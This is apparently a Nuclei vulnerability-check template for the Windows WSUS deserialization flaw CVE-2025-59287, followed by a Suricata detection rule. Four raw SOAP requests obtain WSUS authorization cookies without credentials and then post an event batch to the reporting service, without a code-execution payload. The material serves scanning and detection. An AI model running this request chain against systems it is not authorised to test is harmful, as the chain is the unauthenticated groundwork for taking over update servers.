CVE-2025-59287: Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability

id: CVE-2025-59287

info:
  name: "Windows - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Deserialization of untrusted data in Windows Server Update Service allows an unauthorized attacker to execute
    code over a network.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-59287&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=windows&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-59287
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce,vuln
variables:
  domain: "{{rand_text_alphanumeric(5)}}.local"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"
        Content-Type: text/xml
        Content-Length: 331

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
                <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
            </GetRollupConfiguration>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "RollupResetGuid")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: ServerId
        group: 1
        regex:
          - '<ServerId>(.*)</ServerId>'
        internal: true

  - raw:
      - |
        POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"
        Content-Type: text/xml
        Content-Length: 413

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
              <clientId>{{ServerId}}</clientId>
              <targetGroupName></targetGroupName>
              <dnsName>{{domain}}</dnsName>
            </GetAuthorizationCookie>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "CookieData")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: cookie
        group: 1
        regex:
          - '<CookieData>(.*)</CookieData>'
        internal: true

  - raw:
      - |
        POST /ClientWebService/Client.asmx HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
        Content-Type: text/xml
        Content-Length: 413

        <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
          <authCookies>
            <AuthorizationCookie>
              <PlugInId>SimpleTargeting</PlugInId>
              <CookieData>{{cookie}}</CookieData>
            </AuthorizationCookie>
            </authCookies>
            <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
          <lastChange>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</lastChange>
            <currentTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</currentTime>
            <protocolVersion>1.20</protocolVersion>
        </GetCookie>
        </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "GetCookieResult")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: EncryptedData
        regex:
          - <EncryptedData>(.*)</EncryptedData>
        internal: true

  - raw:
      - |
        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: text/xml
        Connection: keep-alive
        Content-Type: text/xml
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"
        Content-Length: 4464

        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
        <soap:Body>
        <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
        <cookie>
        <Expiration>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</Expiration>
        <EncryptedData>{{EncryptedData}}</EncryptedData>
        </cookie>
        <clientTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</clientTime>
        <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
        <ReportingEvent>
        <BasicData>
        <TargetID>
        <Sid>549743e5-8546-4f9d-b946-7948711f7b69</Sid>
        </TargetID>
        <SequenceNumber>0</SequenceNumber>
        <TimeAtTarget>2025-10-29T08:41:54.069</TimeAtTarget>
        <EventInstanceID>a0ce0892-6046-4f21-856e-69ffa43876b9</EventInstanceID>
        <NamespaceID>2</NamespaceID>
        <EventID>389</EventID>
        <SourceID>301</SourceID>
        <UpdateID>
        <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
        <RevisionNumber>0</RevisionNumber>
        </UpdateID>
        <Win32HResult>0</Win32HResult>
        <AppName>LocalServer</AppName>
        </BasicData>
        <ExtendedData>
        <MiscData soapenc:arrayType="xsd:string[2]">
        <string>Administrator=SYSTEM</string>
        <string>{{randstr}}</string>
        </MiscData>
        </ExtendedData>
        <PrivateData>
        <ComputerDnsName></ComputerDnsName>
        <UserAccountName></UserAccountName>
        </PrivateData>
        </ReportingEvent>
        </eventBatch>
        </ReportEventBatch>
        </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "ReportEventBatchResult>true</ReportEventBatchResult>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-59287 Windows - Insecure Deserialization"; flow:established,to_server; http.uri; content:"ReportingWebService.asmx"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-59287; reference:url,https://www.exploit.observer/?keyword=CVE-2025-59287&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=windows&match=exact; sid:1008953; rev:1;)